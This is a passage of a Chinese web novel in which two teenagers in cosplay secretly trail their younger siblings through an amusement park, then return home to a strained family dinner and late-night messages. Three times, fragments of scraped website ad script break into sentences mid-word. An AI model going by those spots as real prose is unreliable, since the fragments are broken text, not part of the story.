“对了,怎么光让你弟受气,这不是便宜周心雨了?” “你等着看吧,我自有打算。”谭佳宜一副尽在掌握中的模样。 “行行行,但你之后还是先和我对一下流程,不然每次都要被你吓一跳。” “我是怕你坏事,毕竟你的脑回路还是太简单了。”她一脸嫌弃地瞥了一眼周泽楷。 “说谁呢。”周泽楷在人群中搜寻着俩小孩儿是身影:“现在不跟上吗?一会儿他们都走远了。” “说你蠢你还不信。我们现在这样跟着,岂不是很容易暴露,当然是先去换身衣服。他们手机上开了定位,在哪儿都看得见。”谭佳宜晃了晃手上的手机。 周泽楷想着毕竟她是提前做好计划的,考虑的也还是挺周到的。 于是彻底打消顾虑,跟了上去。 11. “周拉蕾”&“谭鸣人” 周泽楷跟着谭佳宜来到了一家服饰店,这是一家动漫cosplay专营店。店面不大,但商品却是琳琅满目,只不过他俩对这方面没有深入研究过,好多服饰的原型都不清楚。 作为外行人,他们只好选了两套比较熟悉的服装。 换好衣服后,二人闪亮登场。 就在周泽楷拉开帘子的瞬间,谭佳宜实在没忍住,还是“嗤”地笑出了声。 “我牺牲这么大,你还笑。” 只见周泽楷披散着紫色假发,带着那个经典的长着翅膀的可爱帽子,身穿阿拉蕾同款背带裤,一叉腰,简直是阿拉蕾本蕾。 “没有,挺……适配的。” “我这怎么说也算是女装,你还用适配来形容!”周泽楷忿忿道。 “特殊情况,如果我们不整点反差的话,可不就暴露了。” 谭佳宜穿着火影忍者中鸣人的装扮,不得不说,长得好看的人怎么打扮都不会差,她这一身行头还挺帅的。 “对了,好像还少点什么。”她细细打量了一番周泽楷,转身拿了一副眼镜帮周泽楷戴上。 “这就对了。” 周泽楷盯着镜子中面目全非的自己,现在他俨然成了“周拉蕾”。不得不说,戴上眼镜后确实更像了,但总有种说不出的别扭劲儿。 按理说阿拉蕾有超强能力,但自己装扮成这样,怎么看都有种看着不太聪明的样子。 谭佳宜又看了看镜中的自己,拿起一副墨镜戴上,转身对周泽楷说:“差不多了,走吧。” 怎么他是一副呆板的眼镜,而她就是一副酷酷的墨镜啊!周泽楷有点不服气:“你这是区别对待,这一环不会也是你设计好的吧。” 带着墨镜的谭佳宜一脸平静:“衣服是刚好有尺码,配饰是角色需要。” 好吧,周泽楷扶额苦笑,也不好反驳什么。 真是又被她装到了。 他们根据手机定位,很快找到了周心雨和谭佳航。俩人正在过山车门口排队,刚好这会儿人不算多,他们现在过去还赶得上和俩小孩儿一班车。 “走吧,我们要不也去试试。”周泽楷建议道。 “在下面看着不就行了。”谭佳宜淡淡地回答,好像对这个项目没什么兴趣。 “你就不想去看看他们会发生什么,没准儿一会儿你能看见你弟狰狞的面孔。” “在下面听听他们的尖叫就行了。”她还是一副无动于衷的模样。 “唉,你不会是害怕吧?”周泽楷凑近了点,想诈一诈她。 “我才没那么胆小呢,我看是你害怕吧,小时候连个海盗船都不敢坐。” 谭佳宜说出来后才意识到,自己刚才主动提了小时候的事,想要撤回但已经晚了。 周泽楷自然是没想到她竟然还记得这回事。当时他和谭佳宜一起去游乐园玩儿,只是一个小型的海盗船,速度也不快,但他就是死活都不愿意尝试。 当时为什么不愿意尝试呢? 他自己也记不清了,只知道从小自己就没去过几次游乐园,那应该是第一次。当时他看到那些庞然大物时,第一感受不是兴奋,而是害怕。 “来都来了,试试吧,就当陪我了,我一个人害怕。”周泽楷装作一副可怜巴巴的模样,求谭佳宜能够给一丝怜悯,不要拒绝他。 事实上谭佳宜也确实没拒绝他,犹豫了一下还是答应了下来,表面上说着是当作他今天带他妹来的报酬,实际上还是禁不住周泽楷刚才那个可怜兮兮的表情。 谭佳宜,你的定力不行啊! 其实对于现在的周泽楷来说,独自坐过山车并不是件害怕的事情,他只是想让谭佳宜高兴点儿,她要是能在过山车上把不好的情绪释放出来,那就更好了。 另一边周心雨也在持续使唤谭佳航中。 其实在排队的时候他们就观察到,周心雨这大小姐脾气,哪里等得了这么久。 一会儿说好热,让谭佳航帮忙扇扇风,一会儿又说站得累,自己上旁边坐着,让谭佳航一个人排队。 果然是个事儿精,周泽楷有些庆幸自己提前抽身,同时又很佩服谭佳航的耐力和好脾气,小小年纪,竟然受得了周心雨。 过山车终于轮到他们了,谭佳宜和周泽楷就坐在周心雨他们后几排。 周心雨和谭佳航并排挨着坐,眼看着周心雨突然靠近谭佳航,他们在后面看着,还以为她又要出什么幺蛾子整谭佳航,却没想到周心雨突然握住了谭佳航的手。 这个场景让他们有些捉摸不透。 周泽楷把身子往前探,想听听他们在说什么,不过隔着几排从后面也听不清,全被中间七嘴八舌的议论声淹没了。 这时,谭佳宜突然凑到周泽楷身边,吓了他一大跳。 “你不会也学周心雨,想牵我的手吧。”他说话语气有点小傲娇,但手还是很自觉地伸了出去。 谭佳宜不知是真没看见那悬在半空中的手,还是装作没看见,转而小声说道:“你妹不会是对我弟有意思吧。” 周泽楷被她这个大胆的想法惊到了。周心雨之前那样对他,怎么可能是喜欢他。 他立马否认道:“不可能,要是也是你弟,你看周心雨让他干什么他就干什么,他难不成还是受虐狂啊。” 她倒是第一次听到有人用受虐狂形容谭佳航,其实也可以这么说。 程婉乔从小对他要求严格,生怕她这个儿子会输给谭佳宜。她在谭墨行那里算是个贤妻,但在谭佳航这里绝对不算是个慈母。 只是谭佳航不像她母亲一样只是表面温顺,他骨子里倒也是不争不抢、逆来顺受。 这点程婉乔对这个儿子应该很失望吧。 “希望是我想多了。” “俩都是小孩儿,哪里会这么早开窍。” 周泽楷说这句话的时候是心虚的,他像他们这般大的时候,已经和谭佳宜认识挺久的了,虽然还不明白“喜欢”到底是怎样的,但他一度认为自己就是喜欢谭佳宜的。 两人结束了刚才的话题,安安静静地等待发车。 发车音乐响起,工作人员帮乘客系好安全带后,一切就绪。按理说过山车一般回放一些快节奏、让人兴奋的音乐,但这趟车却不按常理出牌。 耳畔回荡起幽灵般的凄怨,空气中也弥漫着一丝诡异。 这是鬼屋音乐串场了吧,要不然就是商家在故弄玄虚。 阴森音乐声让人毛骨悚然,不远处过山车的最高点让人肾上腺素飙升。周心雨又把谭佳航的手握得更紧了。 其实她就是害怕罢了,嘴上不说,但行动很诚实。 过山车缓缓启动,刚开始速度并不快。但正当人们放松警惕时,又突然开始加速,来了个回旋转弯,猝不及防的弯道顿时引起“哇”声一片。 紧接着缓慢爬上最高点,视野也变得敞亮。 谭佳航此时的心提到了嗓子眼,他实际上是怕高的,要是一个人选,他绝对不会坐过山车。 但现在他身边有个好像比他更害怕的小女孩,正扯着嗓子一路尖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叫,甚至眼睛都不敢睁开。 他只觉手上被握着的力度随过山车的起伏忽松忽紧,注意力没有全放在过山车上,所以也感觉没那么恐怖了。 到达最高点的时候,后面俩人表面上倒是风轻云淡。 周泽楷瞥见谭佳宜紧握着扶手,他忽而把手覆在了她手上。 掌心的温度一下子传到她冰冷的掌背,谭佳宜刚反应过来的时候,过山车一下子冲了下去,但手背的温度仍在,让人莫名觉得安心。 过山车百转千回,蜿蜒曲折,周泽楷突然大喊一声:“啊~~~把烦恼都甩掉,要活得开心!” 声音清澈,响彻云霄,每个字都深入人心,敲打着谭佳宜的心扉。 旁边的少年朝气明媚,用心良苦,恰如从前的自己,用最大的努力,想要治愈身边不幸的人。 车辆缓缓入站,过山车之旅也终于告一段落。 下车后,周心雨还闭着眼睛,似乎是觉察到车子停了,慌忙问旁边的谭佳航:“结束了吗?” 得到肯定的回答后,周心雨才放心睁开眼睛。 就在谭佳航刚准备起身时,周心雨又突然拉住了他,小声说道:“我腿软,站不起来,你拉我一把。” 谭佳航用尽全力,可算把周心雨从椅子上拽起来。 不知道是他力气太小,还是周心雨压根没使劲儿,反正拉起来后谭佳航是涨红了脸。 剩下俩人在一旁看戏,周泽楷没想到平时天不怕地不怕的大小姐,连恐怖片都敢看,却被一个小小过山车给唬住了,看来他这回也算是抓住了她的把柄。 坐完过山车,周心雨还有些惊魂未定,但当她看到鬼屋历险的时候,整个人像是又活过来了,两眼冒着金光,一把拉过谭佳航,朝着鬼屋奔去。 刚才过山车他也太镇定了吧,这岂不是显得我很胆小。 大小姐倒是自尊心很强,小小年纪就胜负欲爆棚。 这回换我擅长的,你总该害怕了吧。大小姐在心里又打起了坏算盘。 鬼屋门口,挂着骷颅头,墙壁上也画着妖魔鬼怪,还用红油漆晕染出大片的血渍。 虽说装饰恐怖了点,但毕竟头顶是蓝天白云,身后是朗朗乾坤,谭佳航倒也没那么害怕。 不知是什么突然掉到了脖子里,挠的有些痒。谭佳航把手伸到衣领口,摸到软软的一坨。 定睛一看,是一只绿色的虫子。 他哇的一声叫了出来,一个没站稳,一屁股坐在了地上。 此情此景,把周泽楷和谭佳宜都吓了一跳。 周心雨当然是又笑得前仰后俯,开始嘲笑他:“这你也害怕,反应太大了吧。” 谭佳航的脸又刷得一下红了,终于有些恼羞成怒,说道:“你这样子太过分了。” 周心雨看他有点生气,虽然不至于去安慰他,但也止住了笑声,说道:“又不是真的,就是个玩具啦,怎么玩笑都开不起。” 谭佳航又看了一眼地上的虫子,还真是个塑料玩具,但做得很逼真,在他这儿足够以假乱真。 “刚才是想先考验一下你。你这样子,怎么和我一起去鬼屋历险。”周心雨嫌弃地说道。 “要不你在门口等着。”她一副胜利者的姿态,故意逗他。 “我……我克服一下吧,你一个人去也不安全,我们还是一块儿吧。” 周心雨撇撇嘴,“好吧,那就勉为其难带着你这个拖油瓶吧。” 说完俩人便进入了鬼屋,周泽楷和谭佳宜也顺势跟了进去…… 12. 鬼屋惊魂 鬼屋里光线昏暗,只有零星的几盏灯,将将把前面几米远的路照亮。 他们玩儿的主题是丧尸岛,进门便看到几个衣衫褴褛的npc,披散着头发,衣服上还有斑斑血迹,都双手向前平举,低垂着脑袋给他们指路。 周心雨胆子大,看不清他们的脸,就直接上前把他们的头发掀起来,让一张张可怖狰狞的脸暴露在光天化日之下。 “这丧尸倒是有模有样的,不错。”周心雨自来熟地和他握了下手,示意谭佳航过来给他们拍照。 那流着血的眼睛就这么直直地盯着他,一张血盆大口仿佛可以将他吞下。谭佳航在原地战战巍巍,哪里敢上前一步。 他现在还能强撑着站在这儿,就是万幸。 好在周心雨提出合照时,那个npc也摆了摆手,表示拒绝,她这才放谭佳航一马,不然以她的脾气,肯定会坚持把他拽过来拍照的。 “胆小鬼。”周心雨咂了咂嘴,继续往前走。 接下来的过道很窄,只容许一人通过,两人只好一前一后地走。 周心雨在前面打头阵,谭佳航紧跟在后面,双手抱着头,只顾低头盯着周心雨的脚步,也不敢往周围乱瞟。 又走了一小段路,旁边突然变成了铁栅栏,这应该是关押丧尸的监狱。 丧尸们穿着统一的蓝白条纹监狱服,从栏杆的空隙伸出手去,试图拽住外面的人,像是在求救。 他们拽的力道并不重,毕竟只是想吓唬吓唬人,但是对谭佳航来说,每一次触碰都让他心惊肉跳,他想通过大叫来驱逐他们,但话到嗓子眼却发不出声音。 不知从哪个方向,突然有只手伸过来,牢牢抓住了他的手。 他心里咯噔一声,正准备尖叫时,周心雨转身道:“你太慢了吧,一会儿都跟不上我了。你要是丢了,漂亮姐姐肯定要怪我。” 原来是她啊,吓他一跳。 谭佳航没吭声,只是点点头。他现在正处于极度恐惧中,大脑也停止了运作,但手被牢牢牵着还是让他有了些许安全感。 起码他知道,自己现在不是一个人在面对。 后面周泽楷和谭佳宜的情况其实也有点类似,谭佳宜对这种东西倒是无感,一脸平静地往前走。只是身后的“周拉蕾”这时倒显得娇俏,有想往前冲的意思,但身体却诚实地缩在谭佳宜身后。 周泽楷掩耳盗铃地说:“你要是害怕的话,可以拉着我的手,我不介意的。” 刚才在过山车上不是才牵过手嘛,他是牵手牵上瘾了!谭佳宜在心里嘀咕着。 “你是又想占我便宜,还是害怕了?” “不是,我……我怎么会怕这些。主要是这场面看着血腥,味道也有点冲,实在是让人生理想不适。你难道一点儿感觉都没有?”周泽楷凑近问她。 “都是特效妆罢了,又不是真的。多看看就习惯了。”她平静地解释,一副看破一切的样子。 这方面,她倒是和周心雨挺像,对于这种虚无的东西都没在怕的。俩人还都挺现实,也挺猛的。 周泽楷在心里感叹基因果然是随机分配,他们这有血缘关系的,倒是一点儿也不像。 谭佳宜虽然嘴上嫌弃周泽楷在鬼屋里的怂样,但犹豫了一下,还是牵起了周泽楷的手。 算了,就当是还他了。 这次不再是上次的大手包小手,而是掌心相贴,温度相叠。她再次牵起他的手,做他黑暗中的领航人。 终于走到一个空旷点的地方,也有了两人并排的空间。周心雨和谭佳宜都不约而同地放开了剩下俩人的手。 新的考验接踵而至,前行的道路被新关卡拦下。需要回答正确一个问题,才可以通过关卡。 这个问题周泽楷他们一看就知道答案,但对小学生来说还是有些困难。只见周心雨和谭佳航回答了几次都没答上来,久久地困在了原地。 “现在怎么办,要不要上去帮帮他们?”周泽楷建议道。 谭佳宜一把按住他,“现在去不就暴露了。” “我们变装了,你怕什么。难不成真要眼睁睁地看他俩,在这儿继续耽误下去?” “有了,之前不是说也要整整你妹嘛,现在时机来了。” 周泽楷狐疑地朝谭佳宜目光的方向望去,看到了穿着黑色披风的骷颅架。又望了望谭佳宜,两人四目相对,他一下子读懂了她的意思。 “你是说我们披块儿黑布去吓他们。可刚才周心雨连化了妆的npc也不怕,会被我们吓着?” “她不怕恐怖的,是因为这些都摆在她眼前,让她有心理准备。但如果我们从后面偷袭,在用言语吓唬他们几句,处于本能和小孩子的天性,一般都会被吓着的。” 周泽楷半信半疑地盯着“谭鸣人”,不得不承认,她这种捉弄人的点子倒是挺多的。 果然,很有当坏人的天赋的。 他们把骷颅架上的黑色披风脱下来,披在自己身上,从后面轻手轻脚地靠近前面俩小孩儿。 两人突然抓住前面俩小孩儿的肩膀,改变平时说话的声音,装神弄鬼道:“你们知道吗,你们是出不去的,会被永远困在这里。” 为了更好地达到节目效果,他们又长笑了一声。诡异的笑声在鬼屋中回响,周泽楷自己听着都有些发怵。 谭佳宜说的果然没错,俩小学生被身后突如其来的触碰吓了一跳。 在这种窘境中,小孩子就是很容易听信这些恐吓,“哇”地一声哭了起来。 俩人哭得大声,好像在比谁更能哭一样,声音有愈演愈烈之势。 谭佳宜看效果达到了,也准备手下留情,放他们一马,于是说道:“你们自己是出不去的,但我们可以帮你们,不过前提是你们一会儿出门之后,要站在原地闭上眼睛数一分钟,数够一分钟才可以离开哦。不然,就会被再次关进去,永远都出不来” 她又做了个鬼脸威胁他们。 “好好好,你们放心,只要能出去,我们肯定乖乖听话。千万不要把我一直关在这里啊,我要回家,我还有好多新裙子没穿呢。”周心雨把小手举起,信誓旦旦地哀求道。 旁边的谭佳航害怕得一句话也说不出来,他尽力压抑着恐惧,跟着周心雨举起自己的小手。 两人三根指头都没来得及并拢,叉开手指发誓的样子还挺滑稽。 谭佳宜和周泽楷帮他们通关后,趁着俩人捂眼睛的时候,把披风脱下来归位,接着从出口提前出去了。 过了一会儿,观察到周心雨他们也出来了。俩小孩儿脸上都还沾着泪渍,一副受尽委屈的可怜模样。 只不过,这种后劲儿在周心雨身上没有停留多久。 夜幕开始降临,远处摩天轮上的彩灯亮了起来,五彩缤纷,耀眼夺目,一下子吸引了周心雨的目光。 她一秒变脸,上一秒还是一脸苦瓜相,下一秒就破涕为笑,呲着个大牙,手指着摩天轮的方向说:“我们去玩儿那个吧。” “可是天黑了,也不太安全。要不我们打电话给他们,准备回去吧。”谭佳航记性倒是好,竟然还记得上午谭佳宜说的话。 可是周心雨并不是想征求谭佳航的同意,她只是告知他一声,抬脚便朝摩天轮走去。 “他们也没联系我们啊,没准儿是事儿还没办完呢。也不差这一会儿,我们现在赶快过去,要不了多久的。”小姑娘脑子倒是转得快,理由找的头头是道,谭佳航也只好跟着过去。 暗处的周泽楷看到他们又要去玩儿下一个项目,不禁感叹道:“年轻真好啊,还有精力玩儿,看来是刚才没被吓够。” “确实,我也有点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 儿累了,咱们现在去换衣服,一会儿他们玩儿完摩天轮就回去吧。” 谭佳宜把头上的假发扯下来,让头皮放松放松,这个假发带了半天着实有点闷。 听到“摩天轮”三个字,周泽楷突然心生一计。 “咱们都跟了这么久了,也要有始有终嘛,万一摩天轮出了什么问题怎么办?” “那就更不能去了,担心有问题自己为什么还去?让他俩自生自灭不挺好。这算是意外事故,和咱们也扯不上太大关系。”她顺着他的话反驳,让周泽楷一下子又陷入了被动的局面。 果然是蛇蝎美人,长得漂亮就是迷惑人的,实际上比谁都恶毒。 算了,只能使出杀手锏了。 周泽楷一把拉住谭佳宜的手腕,盯着她的双眼:“来都来了,就去嘛。”说完还眨了两下眼睛。 不得不承认,他这个“周拉蕾”的形象,加上这软软的语气,实在是不忍入目,不忍入耳。 这还是她认识的周泽楷吗?他这是在向她 ——撒娇? 谭佳宜甩开了他的手,一脸嫌弃地说道:“别来这套。” 她嘴上虽然拒绝,但还是依着他朝摩天轮的方向走去。 看她同意了,周泽楷也按耐不住兴奋,直接拉着她跑了起来。 “你这么着急干嘛?”谭佳宜跑得有点喘不上气。 “我们赶在他俩前几班,一会儿方便去换衣服。”周泽楷一边给她解释,一边放慢了脚步。 “行,那还是快点吧。” 他才刚把步子慢下来,谭佳宜又开始加速了。 不得不承认,谭佳宜认真跑起来速度真不慢,周泽楷在后面追得还真有点儿费劲。 摩天轮缓缓上升,在狭小的空间中,气氛异常沉默,两人相对而坐,都望着窗外,也不看对方。 周泽楷大脑现在一片空白,明明刚才已经想好要说什么了,怎么关键时刻又说不出口了。他搞不清楚是空间太小,限制了他发挥,还是夜色太迷人,让人有些微醺。 摩天轮升到了最高空,此刻,在这里,他们可以俯瞰到这座城市的全貌。 大江滚滚,大桥恢弘,古城和高楼隔江相望,灯塔和明珠互为映衬,街道上是人来人往,马路上是川流不息。 只是在这高处,一切都显得那么渺小,好像一切宏大的事物,都只是一根线,一个点。 周泽楷没想到,谭佳宜突然先开了口:“这城市看着灯红酒绿,光鲜亮丽的,其实更多的,是看不见的黑暗、肮脏。这样的地方,是容不下干净、光明、纯粹的人的。” 她怎么突然会说这番话,仅仅是有感而发吗?还是说意有所指。 这让周泽楷不禁想起了白阿姨的悲剧。 所以,她指的是她妈妈,还是她自己呢? “你说的也不错,世界本来就有黑白灰三种色彩。但是,你怎么知道黑暗的背面不是光明呢?我们要做的,不是融入黑暗,而是打破它、击碎它,去见证它背后的光明。 如果没有的话,那就做点灯的人,照亮他人,也是照亮自己。” 谭佳宜破天荒没反驳周泽楷,只是默默地叹了口气。 其实,她不是不想做打破黑暗的人,她只是没有勇气、没有自信,去和庞大的黑恶力量抗争,她只能用黑暗将自己伪装起来,在暗处和他们较劲儿。 只是她不知道,她实际也是在和自己较劲儿。 周泽楷觉察到谭佳宜异样的情绪,继续说道:“不说这个了,起码此刻,我们眼睛看到的风景,还是挺不错的。” 他指了指天空,月色皎洁,旁边的一颗星星尤为明亮。 据说距离月亮最近的星星是金星,傍晚也叫长庚星。 长庚星守护着月亮,就像他守护着谭佳宜。 13. 回家&面具 与此同时,摩天轮的另一头,周心雨和谭佳航并排坐着。 大小姐上来前还是一脸兴奋,活蹦乱跳,但上来后没看几眼窗外的风景,就开始昏昏欲睡。 一来是这样慢节奏的项目她并不感冒,二来玩儿了大半天了,也是真的累了。 谭佳航正坐在窗边,专注地欣赏窗外的风景。窗外的璀璨让他凝神,今天的一切都让他感到新奇、畅快。 尽管忙着给周心雨拍照,被她捉弄,还去了自己最害怕的鬼屋,但说实话,他心里是开心的,真的好久没有这么尽兴地出来玩儿了。 其实这是他第一次来游乐园。 小时候寄养在乡下老家,都是跟外婆一起生活,环境虽然朴素,但日子是简单且快乐的。 这两年被程婉乔接到身边,住进了他之前从未见过的大房子。尽管装修精美,物质生活优越,但他更多感受到的,却是陌生。 母亲对他的学业要求严格,不让他随便出去玩儿,父亲在家里待他不错,但像是聚会和外出这类活动,却从来不会带他。 这一切都让他感到无所适从,他觉得自己像被关在笼中的鸟,失去了自由和快乐。 但幸好,他还有个姐姐。 她会询问他有没有交到朋友,会关心他适不适应这里的生活,会偷偷带他出来玩儿。 他甚至觉得,姐姐和外婆一样,是真正懂他,真正在乎他的人。 谭佳航正想得出神,都没感受到自己右肩突然变得沉重。等到他再回过头来时,才发现周心雨竟然靠在了他肩头。 他小心翼翼地拍了拍她,对方却没有任何反应。估计是睡着了,看来她也不是精力无穷嘛。 周心雨此刻难得安静下来,终于不再叽叽喳喳。谭佳航看着女孩儿的侧脸,竟也有几分不属于她的恬静气质。 其实周心雨不过是刁蛮了点儿,但倒也不算讨人厌。 她会在吓过他后扶他起来,还把他害怕的毛毛虫丢掉,会在鬼屋里握住他的手。她也会害怕、会撒娇、会示弱。在他看来,她只不过是个被家里宠着的小女孩。 其实谭佳航挺羡慕她的,想做什么就做什么,完全遵循自己的意愿。 我们…… 也算是朋友了吧。 谭佳航偏头看向身边的女孩儿。 下了摩天轮,周泽楷和谭佳宜便马不停蹄地回到服装店换衣服。 和周心雨他们约定好地点后,便假装刚从外面赶过来接他们回家。 刚刚在摩天轮上休息过一阵子,周心雨再次恢复了能量。回家路上,她狐疑地打量着周泽楷。 “你看我干嘛?今天玩儿得怎么样?玩儿得开心的话记得在爸妈那里美言几句,您的好评就是对我最大的认可。” 周心雨突然凑到她哥跟前,斩钉截铁地说:“哥哥,你喜欢今天那个姐姐。” 他完全没想到这小鬼憋了半天就是为了说这个,真不知道这小脑瓜一天到晚都在想些什么。 “小孩子少管。” “被我说中了,我要告诉爸妈你早恋。”周心雨大声喊道。 周泽楷一把捂住她的嘴巴,“我跟你说,你说了也没用,爸妈根本不管我。倒是你上次打碎爸紫砂壶的那事儿,要不要我把真相和爸好好说说。” 大小姐一听到这事儿,顿时有些心虚,毕竟在家里也就只有周志刚可以治治她。虽然周志刚平时宠归宠,但她要是真犯了错,也是会家法伺候。 “哎呀,好哥哥,我瞎说的。我今天玩儿得很好,非常好。这是谁的功劳呢?那当然是我这个帅气,体贴,又聪明的哥哥的功劳啊。” 哼,眼神终于好使了一回。 看来对周心雨,只能来硬的,不然这小丫头迟早蹬鼻子上脸,上房揭瓦。 谭佳宜带弟弟回到家后,看见餐桌上的菜已经摆好了,餐具也整整齐齐地排列在桌边,一共四套,应该是等着他们回来一起吃饭。 “回来了啊,快点洗洗手来吃饭。”迎面走上来的是程婉乔,笑意盈盈,看上去十分好相处。 谭佳宜瞥了一眼桌上的饭菜,鱼肉蔬菜,应有尽有,都是色香俱全,就连点心也是摆盘精致,看起来很有食欲。 看来程婉乔为了征服谭墨行的胃,私下没少下功夫。 程婉乔倒不急着关心他的儿子,反而先过问起谭佳宜:“佳宜,今天累了吧。你说你爸也是,非要选在假期去泡什么温泉,你本来学习就忙,这好不容易回家一次,还要麻烦你带佳航玩儿,他肯定给你添了不少麻烦吧,真是辛苦你了。” 程婉乔先发制人,把该说的不该说的都说完了,还说得面面俱到,滴水不漏。 明明是自己占便宜的事儿,愣是听起来跟多不得已,多抱歉一样。 谭佳宜当然知道她的小心思,毕竟如果没点儿说话技巧,不会讨人喜欢,他爸又怎么会在有家庭的时候,依然选择她呢? “阿姨说的哪里话,我爸也是好不容易才休一次假,你们理应去过过二人世界的。而且佳航可懂事了,根本不用费什么心。 其实我也不光是带他出去玩儿,我自己也算是趁这个机会,出去放松放松了。”她顺着程婉乔的话回答,听起来十分善解人意。 “就知道佳宜最懂事了。”程婉乔拍了拍谭佳宜的肩头,两人相视一笑。 明明心知肚明,偏偏逢场作戏。 不怀好意互试探,营造假象相猜忌,好一出母女情深! 晚饭时间到了,餐桌上一片和睦。 继母给继女夹菜,继女则把好吃的留给弟弟。丈夫夸妻子的手艺好,妻子体谅地说丈夫工作辛苦,养家不易。 哼,都没一句真话! “对了,佳宜,最近学习怎么样,上高中还适应吗?”谭墨行开口关心起女儿的成绩来。 “还行吧,开学考考了年级第二。”谭佳宜低头挑着碗里的鱼刺,谈谈地说道。 程婉乔听完后立刻拍起马屁来:“哎呦,佳宜真棒。年级第二呢,不过也不奇怪,毕竟之前都是考第一的。 佳航,你看姐姐多优秀,你也要多向姐姐学习,这次虽然考了满分,但也不能松懈,没准儿下一次就掉下来了呢。” 果然是杀人不见血,踩一捧一程婉乔拿捏得死死的。 “上高中后难度本来就加大了,第二也不错了。女孩子嘛,也没必要太争强好胜,差不多就行。”谭墨行对她的成绩倒是没有太高的要求。 “你爸说得对,女孩子嘛,毕竟不同于男孩儿,不用把自己搞得那么累,之后反正是要嫁人的。”程婉乔附和着说。 果然夫唱妇随,这点夫妻俩倒是一致得很,都不希望谭佳宜风头太盛。 她明白,像谭墨行这种凤凰男,害怕身边的人比自己优秀,怕她们会脱离自己的掌控。当年白言清就是太优秀,让谭墨行感到自卑,才会去找看起来柔弱、容易掌控的程婉乔。 而对于程婉乔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来说,她是以后会来分家产的竞争人选,她巴不得自己不优秀、没能力,早点嫁出去,还最好是嫁得不好。 不过谭佳宜心里清楚,在这一点上,自己绝对不能按他们期望的来。 她的优秀在谭墨行这儿,还是有点利用价值的,至少现在还是。 毕竟她妈妈是他明媒正娶的妻子,她是谭墨行光明正大的孩子,而至于谭佳航—— 不过是个私生子罢了! 吃过饭后,谭佳宜回到房间。刚刚假笑了那么久,脸部的肌肉都有些紧绷,她顺势揉了揉脸,又揉了揉太阳穴,这才觉得放松下来。 折腾了一天,身心都有些疲惫,她拿出抽屉里的风油精,往额头上抹了抹。 风油精的气味很快占据了鼻腔,一股清凉彻底驱散困意,顿时让她又清醒过来。 这个快速简单的方法对谭佳宜来说,比喝咖啡还要管用。因此风油精也成了她的出行必备品,几乎到哪儿去,她都会备一瓶。 谭佳宜打开电脑,□□上弹出两条消息,一条是一个备注“李叔”的人发来的,一条是周泽楷发来的。 她毫不犹豫地先打开了李叔的消息,是一个Word文档,标题是“长泽10.31”。 她知道,是又有新消息了。 点开word文档,她从头到尾细细地看了一遍,又把一些细节整理出来,一一发给李叔确定。 全部弄完后已经是凌晨一点了,但李叔收到消息后仍是秒回,看来他也是个夜猫子。 所有的细节又审阅修订了一遍,谭佳宜把最终稿保存,随即发给了另一个人。备注是 ——“七哥”。 最后一直忙到将近凌晨三点,才把所有事情交接完毕。她发给七哥,对方同样立刻回复收到,看来又是个晚上不睡觉的。 过了一会儿七哥又发来一条消息:上次那个男生是不是又来网吧找过你? 谭佳宜:是 七哥:他是不是纠缠你,需不需要我出面解决? 谭佳宜:他现在是我同桌,还和我住一个小区,估计最近甩不掉。 七哥:是没法儿甩开,还是你不想甩开? 这个问题让谭佳宜瞬间愣住,她犹豫了一下,还是回道:你放心,我不会让他打乱我们的计划。 七哥:你要是真在乎他,就别让他掺和进来。 谭佳宜:我没有,我是怕他会坏事。 七哥:我相信你,你早点休息吧。 其实在刚才犹豫的时候,她就已经动摇了。她不知道自己现在做的是不是正确的,她也开始担心,会不会因为自己连累到其他人。 七哥、李叔、王叔,甚至是周泽楷…… 消息栏上一直有个红色标记,那是几个小时前周泽楷发来的消息。 谭佳宜这时才想起来,于是点进去看,没想到竟然是一个表情包,下面还有一行小字:今天很开心。 这不就是他上次在车站送她的那个公仔嘛。 看来他还对这个形象是真的情有独钟。 谭佳宜把那个有点丑的公仔拿出来,又仔细端详了一番。 明明就是冷着的一张臭脸,哪里开心了。 她一边想,一边把公仔的嘴角向上提,企图改变它的面无表情。 这个过程中,可能谭佳宜自己也没有意识到,她的唇角也随公仔微微上扬,形成一个好看的弧度。 其实,她今天也挺开心的。 14. 补课&米老头 十一假期的两天半很快就结束了,学校给他们这种竞赛生的“福利”就是提前开学,免费补习。 其实周泽楷和谭佳宜也才一天多没见,但自从上次晚上给她发消息没回后,周泽楷总有一种不祥的预感。 她是忙于学习,没来得及看,还是看见了但故意不回自己呢?他自认为上次游乐园相处得还算不错,至少谭佳宜既没刻意躲着他,也没怎么针对他。 周泽楷猜不透谭佳的心思,索性不想了,反正之后还有很多相处机会,就比如说——竞赛培训! 他到的时候,竞赛教练已经开始在讲台上板书了。 试卷被十分贴心地放在了每个人的桌子上,这应该就是他们今天要做的题目。 瞥了一眼旁边的座位,谭佳宜还没来,又看了看时钟,距离规定的上课时间还差十分钟。 看来这个老师真是一如既往地敬业啊。 物理竞赛教练也是他们班的物理老师,是个小老头,姓很独特,姓米。 所以大家都叫他“米老头”。 他有一个让其他老师都羡慕的特点,就是拥有一头乌黑茂密的头发。 米老头平时既要代课,还要忙着物理竞赛的事儿,加上还是教物理这门高中的理科巨头。多重buff叠满,还能不秃顶,真是难得。其他老师总是请教他用了什么黑科技,但米老头每次的回答都是:什么都没用,天生的。 这就好比一个学霸和学渣说,学习就是这么轻松的事儿,都是天分罢了。 确实是挺欠的吧。 距离上课还剩五分钟,米老头也不管人来没来齐,就让大家先开始做试卷。他可能自己还没意识到,虽然这种行为没有明文规定不允许,但已经构成了占用学生们课余时间这一严重情节,且有多次在拖堂期间突发奇想增加作业的情况,依据中学生民间条例,数罪并罚,情节严重,当处以拉入黑名单外加遭受广大学生唾弃的处罚。 周泽楷又瞟了一眼门口,还是没看见谭佳宜的身影。 她不会又不来了吧,再请几次假,小心米老头把她请出竞赛班。 他一边做题,一边盯着手表。分针指向最后一分钟,他心里闪过一丝紧张。 五、四、三、二…… 旁边的人终于姗姗来迟。 又是卡着点到,可真是时间管理大师。 你说她迟到吧,她也不算,你说她早退吧,人家有时候还多留一会儿呢。顶多算是上课有点儿不积极,但是对于平时学习认真,成绩还好的,这点儿小问题,在老师那儿基本可以忽略。 